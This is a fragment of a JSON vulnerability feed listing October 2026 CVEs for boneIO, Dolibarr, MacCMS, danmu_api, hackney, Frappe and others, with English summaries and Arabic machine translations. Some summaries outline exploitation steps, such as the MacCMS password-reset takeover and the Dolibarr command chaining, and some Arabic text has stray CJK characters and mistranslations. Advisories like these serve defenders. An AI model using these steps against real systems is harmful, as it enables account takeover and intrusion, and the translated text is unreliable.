present."},"refs":[["https://git.kernel.org/stable/c/098d80b04d0fe02889c332d061db968f070b83a6","ref"],["https://git.kernel.org/stable/c/87db7795cbaaf636ae22ae031f4906db7bb77803","ref"],["https://git.kernel.org/stable/c/e3e6779f77ab6f0a1aa80e24868d2d89f31053fe","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-77055","cvss":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-266","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T15:16:43Z","product":"boneIO black_debian_images","affected":[["1.2.0 – <1.6.0","1.6.0"]],"title":{"en":"Improper Privilege Assignment in boneIO","ar":"تعيين صلاحيات غير سليم في boneIO"},"summary":{"en":"boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root. This issue was fixed in version 1.6.0: the image removes the sudoers rule and the docker group membership when it is sealed, and devices already in the field have both removed by migrations shipped with boneio 1.6.0 and applied on first start after the upgrade. Privileged operations now go through helpers that accept only a fixed set of commands, with migrations verified against Ed25519 signatures.","ar":"تمنح صور boneIO black_debian_images حساب خدمة boneio صلاحيات مفرطة، بما في ذلك وصول sudo الكامل دون كلمة مرور والعضوية في مجموعة docker. يمكن لمهاجم محلي يقوم باختراق مستخدم boneio استخدام هذه الصلاحيات لتصعيد الصلاحيات إلى الجذر. تم إصلاح هذه المشكلة في الإصدار 1.6.0: تزيل الصورة قاعدة sudoers وعضوية مجموعة docker عند ختمها، والأجهزة الموجودة بالفعل في الميدان تمت إزالة الاثنين منها بواسطة عمليات الترحيل المضمنة في boneio 1.6.0 والمطبقة عند التشغيل الأول بعد الترقية. تمر العمليات ذات الصلاحيات الآن عبر مساعدات تقبل مجموعة ثابتة فقط من الأوامر، مع التحقق من عمليات الترحيل مقابل توقيعات Ed25519."},"refs":[["https://cert.pl/en/posts/2026/10/CVE-2026-77052","advisory"],["https://boneio.eu/en/docs/black","ref"]],"epss":0.0009,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"boneio-black-debian-images"},{"id":"CVE-2026-77052","cvss":8.7,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-306","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T15:16:42Z","product":"boneIO boneIO","affected":[["1.3.0 – <1.6.0","1.6.0"]],"title":{"en":"Missing Authentication for Node-RED in boneIO","ar":"غياب المصادقة لـ Node-RED في boneIO"},"summary":{"en":"boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. The Node-RED Admin API allows deploying flows that can execute arbitrary system commands. An unauthenticated attacker on the local network can deploy a malicious flow to achieve remote code execution and gain full control over the home automation system. This issue was fixed in version 1.6.0.","ar":"يعرض boneIO Black مثيل Node-RED دون مصادقة عند المسار /nodered/ من خلال وكيل عكسي Caddy. تسمح واجهة برمجة تطبيقات المشرف Node-RED بن نشر تدفقات يمكنها تنفيذ أوامر نظام عشوائية. يمكن لمهاجم دون مصادقة على الشبكة المحلية نشر تدفق خبيث لتحقيق تنفيذ أوامر عن بُعد والحصول على السيطرة الكاملة على نظام الأتمتة المنزلية. تم إصلاح هذه المشكلة في الإصدار 1.6.0."},"refs":[["https://cert.pl/en/posts/2026/10/CVE-2026-77052","advisory"],["https://boneio.eu/en/docs/black","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"boneio"},{"id":"CVE-2026-77053","cvss":8.7,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T15:16:42Z","product":"boneIO boneIO","affected":[["1.0.0 – <1.6.0","1.6.0"]],"title":{"en":"Missing Authentication in Default Configuration in boneIO","ar":"غياب المصادقة في التكوين الافتراضي في boneIO"},"summary":{"en":"boneIO Black firmware ships with authentication disabled by default. Its management web API listens on all network interfaces and exposes all endpoints without requiring credentials. An unauthenticated remote attacker can fully control the device, causing denial of service, modifying configuration, and operating connected physical circuits. This issue was fixed in version 1.6.0: a device without an administrator account refuses API requests until the owner creates one in the first-run wizard, and every API route is restricted to an authenticated role. Versions before 1.2.0 are based on Debian 10, are no longer supported and cannot be upgraded in place; affected devices should be re-flashed with the 1.6.0 system image.","ar":"يأتي البرنامج الثابت لـ boneIO Black مع تعطيل المصادقة افتراضيًا. تستمع واجهة برمجة تطبيقات الويب للإدارة الخاصة به على جميع واجهات الشبكة وتعرض جميع نقاط النهاية دون الحاجة إلى بيانات اعتماد. يمكن لمهاجم عن بُعد دون مصادقة التحكم الكامل في الجهاز، مما يتسبب في حجب الخدمة، وتعديل التكوين، وتشغيل الدوائر الفيزيائية المتصلة. تم إصلاح هذه المشكلة في الإصدار 1.6.0: يرفض الجهاز الذي ليس لديه حساب مسؤول طلبات واجهة برمجة التطبيقات حتى ينشئ المالك حسابًا في معالج التشغيل الأول، ويتم تقييد كل مسار في واجهة برمجة التطبيقات بدور مصادق عليه. تعتمد الإصدارات السابقة لـ 1.2.0 على Debian 10، ولم تعد مدعومة ولا يمكن ترقيتها في مكانها؛ يجب إعادة وميض الأجهزة المتأثرة بصورة نظام 1.6.0."},"refs":[["https://cert.pl/en/posts/2026/10/CVE-2026-77052","advisory"],["https://boneio.eu/en/docs/black","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"boneio"},{"id":"CVE-2026-115748","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T15:01:40Z","product":"Apache Software Foundation Apache Vysper","affected":[],"title":{"en":"Apache Vysper: Authorization bypass","ar":"Apache Vysper: تجاوز المصادقة"},"summary":{"en":"**UNSUPPORTED WHEN ASSIGNED** Authorization bypass in Apache Vysper, all versions. Apache Vysper is an XMPP (Jabber) server library. Its XEP-0077 (In-Band Registration) implementation is missing an authentication check, allowing any authenticated user to compromise other accounts. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.","ar":"**غير مدعوم عند التعيين** تجاوز المصادقة في Apache Vysper، لجميع الإصدارات. يعد Apache Vysper مكتبة خادم XMPP (Jabber). يفتقر تطبيق XEP-0077 (التسجيل داخل النطاق) الخاص به إلى فحص المصادقة، مما يسمح لأي مهاجم يملك حسابًا مصادقًا عليه بالاختراق حسابات أخرى. ونظرًا لأن هذا المشروع متوقف، فإننا لا نخطط لإصدار نسخه تعالج هذه المشكلة. يُنصح المستخدمون بالبحث عن بديل."},"refs":[["https://lists.apache.org/thread.html/979n9lzg10vc7tdrrlgy4lh5yrsw8wsj","advisory"],["https://mina.apache.org/vysper-project/","ref"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-vysper"},{"id":"CVE-2026-115721","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T15:01:18Z","product":"Apache Software Foundation Apache Vysper","affected":[],"title":{"en":"Apache Vysper: Unbounded allocation","ar":"Apache Vysper: تخصيص غير محدود"},"summary":{"en":"**UNSUPPORTED WHEN ASSIGNED** Unbounded allocation in XML parsing in Apache Vysper; all versions, may lead to an out of memory condition. This issue affects all versions of Apache Vysper. Apache Vysper is an XMPP (Jabber) server library. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.","ar":"**غير مدعوم عند التعيين** تخصيص غير محدود في تحليل XML في Apache Vysper؛ لجميع الإصدارات، مما قد يؤدي إلى حالة نفاد الذاكرة. تؤثر هذه المشكلة على كافة إصدارات Apache Vysper. يعد Apache Vysper مكتبة خادم XMPP (Jabber). ونظرًا لأن هذا المشروع متوقف، فإننا لا نخطط لإصدار نسخه تعالج هذه المشكلة. يُنصح المستخدمون بالبحث عن بديل."},"refs":[["https://lists.apache.org/thread.html/d0bx15hjcs69gktk9tt25vgvk121c9vm","advisory"],["https://mina.apache.org/vysper-project/","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-vysper"},{"id":"CVE-2026-116485","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T14:16:37Z","product":"huangxd- danmu_api","affected":[["0 – <1.21.7","1.21.7"]],"title":{"en":"danmu_api before 1.21.7 Authentication Bypass via Default Token in Env Endpoints","ar":"تجاوز المصادقة في danmu_api قبل الإصدار 1.21.7 عبر الرمز المميز الافتراضي في نقاط نهاية البيئة"},"summary":{"en":"danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is used and ADMIN_TOKEN is unset. Attackers can send POST requests to /api/env/set, /api/env/add, or /api/env/del to set ADMIN_TOKEN, lock out operators, redirect OTHER_SERVER or PROXY_URL for SSRF, and trigger redeployment.","ar":"يحتوي danmu_api قبل الإصدار 1.21.7 على ثغرة تجاوز مصادقة تسمح لمهاجمين دون مصادقة بتعديل تكوين بيئة الخادم عند استخدام TOKEN الافتراضي وترك ADMIN_TOKEN بدون تعيين. يمكن للمهاجمين إرسال طلبات POST إلى /api/env/set أو /api/env/add أو /api/env/del لتعيين ADMIN_TOKEN، وقفل المشغلين، وإعادة توجيه OTHER_SERVER أو PROXY_URL لهجمات تزوير الطلبات من الطرف الخارجي SSRF، وتفعيل إعادة النشر."},"refs":[["https://github.com/huangxd-/danmu_api/commit/6e93478064a0ce4e7ed3bc2eae88adaad1b7ab02","patch"],["https://www.vulncheck.com/advisories/danmu-api-before-1.21.7-authentication-bypass-via-default-token-in-env-endpoints","advisory"],["https://github.com/huangxd-/danmu_api","ref"],["https://github.com/huangxd-/danmu_api/blob/5ef63a01bae7c4bad4dcd7bafbbcdcf33aa82564/danmu_api/worker.js#L223-L244","ref"],["https://github.com/huangxd-/danmu_api/issues/531","ref"]],"epss":0.0235,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"huangxd-danmu-api"},{"id":"CVE-2026-116219","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T14:16:35Z","product":"Dolibarr dolibarr","affected":[["0 – <24.0.0","24.0.0"]],"title":{"en":"Dolibarr ERP CRM before 24.0.0 OS Command Injection via mysqldump Parameter","ar":"حقن أوامر نظام التشغيل في Dolibarr ERP CRM قبل الإصدار 24.0.0 عبر معامل mysqldump"},"summary":{"en":"Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the restrict_os_commands allowlist. Attackers can submit a mysqldump value chaining commands with & characters around an allowlisted basename to execute operating system commands as the web server user.","ar":"يحتوي Dolibarr ERP CRM قبل الإصدار 24.0.0 على ثغرة حقن أوامر نظام التشغيل في htdocs/admin/tools/export.php والتي تتيح للمسؤولين المصادق عليهم تجاوز قائمة السماح restrict_os_commands. يمكن للمهاجمين إرسال قيمة mysqldump تربط الأوامر باستخدام أحرف & حول اسم أساسي مدرج في قائمة السماح لتنفيذ أوامر نظام التشغيل بصلاحيات مستخدم خادم الويب."},"refs":[["https://github.com/Dolibarr/dolibarr/commit/e4c593e0f9f109dd708be0f1d62a51712d36823a","patch"],["https://www.vulncheck.com/advisories/dolibarr-erp-crm-before-24.0.0-os-command-injection-via-mysqldump-parameter","advisory"],["https://github.com/Dolibarr/dolibarr","ref"],["https://github.com/Dolibarr/dolibarr/blob/23.0.3/htdocs/admin/tools/export.php#L129-L154","ref"],["https://github.com/Dolibarr/dolibarr/blob/23.0.3/htdocs/core/class/utils.class.php#L322-L327","ref"]],"epss":0.0208,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dolibarr"},{"id":"CVE-2026-116214","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-640","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T14:16:34Z","product":"maccmspro maccms10","affected":[["0 – <2026.1000.4054","2026.1000.4054"]],"title":{"en":"MacCMS v10 before 2026.1000.4054 Account Takeover via Unbound Password Recovery Code","ar":"استحواذ على الحساب في MacCMS v10 قبل الإصدار 2026.1000.4054 عبر رمز استعادة كلمة مرور غير مقيد"},"summary":{"en":"MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never compares msg_to. Attackers can request a recovery code to their own mailbox via user/findpass_msg, then submit it to user/findpass_reset with the victim's email or phone to take over the account.","ar":"يحتوي MacCMS v10 قبل الإصدار 2026.1000.4054 على ثغرة تجاوز للمصادقة تسمح للمهاجمين دون مصادقة بإعادة تعيين كلمة مرور أي عضو لأن الدالة check_msg() لا تقارن مطلقًا بين msg_to. يمكن للمهاجمين طلب رمز استعادة إلى صندوق البريد الخاص بهم عبر user/findpass_msg، ثم إرساله إلى user/findpass_reset مع بريد الضحية أو هاتفه للاستيلاء على الحساب."},"refs":[["https://github.com/magicblack/maccms10/commit/27bb1b004b9931c93f46b65e9c0e531466e7e02a","patch"],["https://www.vulncheck.com/advisories/maccms-v10-before-2026.1000.4054-account-takeover-via-unbound-password-recovery-code","advisory"],["https://github.com/maccmspro/maccms10","ref"],["https://github.com/maccmspro/maccms10/blob/7f388ee0008faf5b01e5df7bf5e5a6ff4bbe13e8/application/common/model/User.php#L607-L630","ref"],["https://github.com/maccmspro/maccms10/issues/30","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"maccmspro-maccms10"},{"id":"CVE-2026-116218","cvss":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T14:16:34Z","product":"Dolibarr dolibarr","affected":[["19.0.0 – <23.0.4","23.0.4"]],"title":{"en":"Dolibarr ERP CRM 19.0.0 before 23.0.4 SQL Injection via bankaccounts API type field","ar":"حقن SQL في Dolibarr ERP CRM 19.0.0 قبل الإصدار 23.0.4 عبر حقل النوع في واجهة برمجة التطبيقات bankaccounts"},"summary":{"en":"Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts REST endpoint. Attackers with only societe/creer permission can break out of the unescaped type value in CompanyBankAccount::create() to read password hashes and API keys via time-based blind subqueries.","ar":"يحتوي Dolibarr ERP CRM 19.0.0 قبل الإصدار 23.0.4 على ثغرة حقن SQL تسمح لمستخدمي واجهة برمجة التطبيقات المصادق عليهم بحقن SQL عبر حقل النوع لنقطة نهاية REST الخاصة بـ bankaccounts التابعة لجهة خارجية. يمكن للمهاجمين الذين يمتلكون إذن societe/creer فقط الخروج من قيمة النوع غير المهربة في CompanyBankAccount::create() قراءة تجزئات كلمات المرور ومفاتيح واجهة برمجة التطبيقات عبر الاستعلامات الفرعية العميقة المستندة إلى الوقت."},"refs":[["https://github.com/Dolibarr/dolibarr/commit/19991c8ffa9b4fd7338b7ef2585fadb554b86735","patch"],["https://www.vulncheck.com/advisories/dolibarr-erp-crm-19.0.0-before-23.0.4-sql-injection-via-bankaccounts-api-type-field","advisory"],["https://github.com/Dolibarr/dolibarr","ref"],["https://github.com/Dolibarr/dolibarr/blob/23.0.3/htdocs/societe/class/api_thirdparties.class.php#L1852","ref"],["https://github.com/Dolibarr/dolibarr/blob/23.0.3/htdocs/societe/class/companybankaccount.class.php#L399","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dolibarr"},{"id":"CVE-2026-115693","cvss":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T14:16:31Z","product":"benoitc hackney","affected":[["1.24.0 – <4.9.0","4.9.0"]],"title":{"en":"Custom cacerts or cacertfile do not restrict trust to the pinned CA in hackney","ar":"لا تقيد شهادات cacerts أو cacertfile المخصصة الثقة في جهة إصدار الشهادات المثبتة (pinned CA) في hackney"},"summary":{"en":"Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a certificate chain that ends in a publicly trusted root. hackney adds {partial_chain, fun hackney_ssl:partial_chain/1} to every verify_peer configuration. The callback returns any certificate in the peer chain whose public key matches a root in the bundled certifi store as the trust anchor, and OTP honours that callback over the configured cacerts. hackney_ssl:merge_ssl_opts/3 kept the callback when the caller replaced the trust store with cacerts or cacertfile in ssl_options, so a connection pinned to a private CA still accepted any chain that carried a publicly trusted root. The hostname check still applies, so the attacker needs a publicly trusted certificate for the pinned hostname. This issue affects hackney: from 1.24.0 before 4.9.0.","ar":"ثغرة التحقق غير السليم من الشهادات في hackney_ssl ضمن benoitc hackney تسمح لمهاجم على المسار انتحال شخصية خادم مثبت على جهة إصدار شهادات خاصة عبر سلسلة شهادات تنتهي بجذر موثوق به عامًّا. يضيف hackney العنصر {partial_chain, fun hackney_ssl:partial_chain/1} إلى كل تكوين verify_peer. تعيد دالة رد النداء أي شهادة في سلسلة الأقران يتطابق مفتاحها العام مع جذر في متجر certifi المدمج كمرساة ثقة، ويحترم OTP دالة رد النداء تلك على حساب cacerts التي تم تكوينها. حافظ hackney_ssl:merge_ssl_opts/3 على دالة رد النداء عندما استبدل المتصل متجر الثقة بـ cacerts أو cacertfile في ssl_options، لذلك ظل الاتصال المثبت على جهة إصدار شهادات خاصة يقبل أي سلسلة تحمل جذرًا موثوقًا به عامًّا. لا يزال فحص اسم 主機 (hostname) ساريًا، لذا يحتاج المهاجم إلى شهادة موثوق بها عامًّا لاسم المضيف المثبت. تؤثر هذه المشكلة على hackney: من الإصدار 1.24.0 قبل 4.9.0."},"refs":[["https://github.com/benoitc/hackney/commit/915eb5737e9c489d8fc22eec8cdae30e9b027be4","patch"],["https://github.com/benoitc/hackney/releases/tag/4.9.0","advisory"],["https://cna.erlef.org/cves/CVE-2026-115693.html","ref"],["https://github.com/benoitc/hackney/commit/d8a9afcf5c3849904274e2eba1df56c63d1a1a0c","ref"],["https://github.com/benoitc/hackney/pull/978","ref"],["https://osv.dev/vulnerability/EEF-CVE-2026-115693","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"benoitc-hackney"},{"id":"CVE-2026-59107","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-797","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T13:33:12Z","product":"WolfVision Cynap Pro, Cynap Core Pro","affected":[["0 – <1.78a","1.78a"]],"title":{"en":"Shared SSH Authentication Key in vSolution Matrix File Sharing","ar":"مفتاح مصادقة SSH مشترك في ميزة مشاركة الملفات لـ vSolution Matrix"},"summary":{"en":"A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the matching private key to authenticate to an affected device via SSH as root. This vulnerability affects only devices configured as a vSolution Matrix main/master station with the file sharing feature enabled.","ar":"تم تحديد ثغرة أمنية في ميزة مشاركة الملفات لـ vSolution Matrix. قد تسمح تكوين ثقة تشفيري مشترك لمهاجم يحصل على مفتاح الخاص المطابق بالمصادقة على جهاز متأثر عبر بروتوكول SSH بصلاحيات root. تؤثر هذه الثغرة فقط على الأجهزة التي تم تكوينها كمحطة رئيسية لـ vSolution Matrix مع تمكين ميزة مشاركة الملفات."},"refs":[["https://wolfvision.com/de/security/cve-2026-59107-1","advisory"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wolfvision-cynap-pro-cynap-core-pro"},{"id":"CVE-2026-116492","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T12:21:46Z","product":"frappe crm","affected":[["1.0.0 – <1.89.1","1.89.1"]],"title":{"en":"Frappe CRM before 1.89.1 Missing Authorization via Phone Lookup API","ar":"ثغرة غياب التفويض عبر واجهة برمجة تطبيقات البحث عن رقم الهاتف في Frappe CRM قبل الإصدار 1.89.1"},"summary":{"en":"Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to access by querying the get_contact_by_phone_number API, which performs raw database queries without invoking the permission system. Attackers can supply a known phone number to the crm.integrations.api.get_contact_by_phone_number endpoint to retrieve full lead details otherwise blocked by standard API and UI access controls, resulting in unauthorized disclosure of sensitive CRM data.","ar":"يحتوي تطبيق Frappe CRM قبل الإصدار 1.89.1 على ثغرة غياب التفويض التي تسمح للمستخدمين المصادقين ذوي الصلاحيات المنخفضة قراءة سجلات CRM Lead غير المسموح لهم بالوصول إليها عن طريق استعلام واجهة برمجة التطبيقات get_contact_by_phone_number، والتي تقوم بعمل استعلامات قاعدة بيانات خام دون استدعاء نظام الأذونات. يمكن للمهاجمين توفير رقم هاتف معروف لنقطة النهاية crm.integrations.api.get_contact_by_phone_number لاسترداد تفاصيل العملاء المحتملين الكاملة والتي يتم حظرها عادةً بواسطة ضوابط الوصول القياسية لواجهة برمجة التطبيقات واجهة المستخدم، مما يؤدي إلى الكشف غير المصرح به عن بيانات CRM الحساسة."},"refs":[["https://github.com/frappe/crm/releases/tag/v1.89.1","patch"],["https://www.vulncheck.com/advisories/frappe-crm-before-missing-authorization-via-phone-lookup-api","advisory"],["https://github.com/frappe/crm/pull/3103","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"frappe-crm"},{"id":"CVE-2026-110475","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-1390","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T12:20:36Z","product":"CreditNirvana CreditNirvana Collections Platform (CollectionWorkz)","affected":[],"title":{"en":"Improper Authentication Vulnerability in CreditNirvana Collections Platform","ar":"ثغرة مصادقة غير سليمة في منصة CreditNirvana Collections"},"summary":{"en":"This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. An unauthenticated remote attacker could exploit this vulnerability by manipulating authentication requests and accessing APIs without a valid authenticated session on the targeted system. Successful exploitation of this vulnerability could allow the attacker to enumerate platform users, establish sessions as arbitrary users including administrative users, access and modify sensitive information with the privileges of the impersonated user.","ar":"توجد هذه الثغرة في منصة CreditNirvana Collections بسبب ضوابط مصادقة وتخويل غير سليمة في خدمة تسجيل الدخول الخاصة بالمنصة. يمكن لمهاجم عن بُعد دون مصادقة استغلال هذه الثغرة عبر التلاعب بطلبات المصادقة والوصول إلى واجهات برمجة التطبيقات دون جلسة مصادقة صالحة على النظام المستهدف. قد يتيح الاستغلال الناجح لهذه الثغرة للمهاجم تعداد مستخدمي المنصة، وإنشاء جلسات بصفتهم مستخدمين عشوائيين بما في ذلك المستخدمين الإداريين، والوصول إلى المعلومات الحساسة وتعديلها بصلاحيات المستخدم المُنتَحَل."},"refs":[["https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0523","advisory"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"creditnirvana-collections-platform"},{"id":"CVE-2026-116260","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T12:17:06Z","product":"libimobiledevice","affected":[["1.0",null],["1.1",null],["1.2",null],["1.3",null],["1.4.0",null]],"title":{"en":"libimobiledevice AFC Service afc.c service_receive double free","ar":"تحرير مزدوج في خدمة libimobiledevice AFC في ملف afc.c دالة service_receive"},"summary":{"en":"A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service. Executing a manipulation can lead to double free. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ضعف في libimobiledevice حتى الإصدار 1.4.0. تؤثر هذه المشكلة على دالة service_receive في الملف src/afc.c لمكون AFC Service. يؤدي تنفيذ التلاعب إلى تحرير مزدوج. قد يتم تنفيذ الهجوم من بُعد. أصبح الاستغلال متاحًا للعامة ويمكن استخدامه للهجمات. تم الاتصال بالمورد مبكرًا بشأن هذا الإفشاء لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-116260","advisory"],["https://vuldb.com/submit/1009969","advisory"],["https://bohmid-com.vercel.app/#/article/blog-afc-writeup","ref"],["https://vuldb.com/vuln/426299","ref"],["https://vuldb.com/vuln/426299/cti","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"libimobiledevice"},{"id":"CVE-2026-115717","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T12:17:04Z","product":"frappe builder","affected":[["1.0.0 – <1.36.1","1.36.1"]],"title":{"en":"Frappe Builder before 1.36.1 SSRF via convert_to_webp","ar":"تزوير الطلبات من جانب الخサーバー (SSRF) في Frappe Builder قبل الإصدار 1.36.1 عبر convert_to_webp"},"summary":{"en":"Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control applied to similar asset-ingest handlers and performs an unprotected requests.get call that follows redirects without re-validating resolved IP addresses. A low-privilege authenticated user can supply an image_url pointing to an internal address or use DNS rebinding and open redirects to make the server fetch internal network resources or cloud metadata endpoints, with successful image responses saved to a world-readable /files/ URL enabling data exfiltration or blind probing of internal hosts.","ar":"تحتوي إصدارات Frappe Builder قبل 1.36.1 على ثغرة تزوير الطلبات من جانب الخادم في نقطة نهاية واجهة برمجة التطبيقات convert_to_webp، والتي تفتقر إلى التحكم في الوصول has_page_write المطبق على معالجات جمع الأصول المماثلة وتجري استدعاء requests.get غير محمي يتتبع عمليات إعادة التوجيه دون إعادة التحقق من عناوين IP التي تم حلها. يمكن لمستخدم مصادق عليه ذو صلاحيات منخفضة توفير image_url يشير إلى عنوان داخلي أو استخدام إعادة ربط DNS وإعادة التوجيه المفتوحة لجعل الخادم يجلب موارد شبكة ائتمانية داخلية أو نقاط نهاية بيانات وصفية سحابية، مع حفظ استجابات الصور الناجحة في عنوان URL /files/ قابل للقراءة عالميًا مما يتيح استخراج البيانات أو الفحص الأعمى للمضيفين 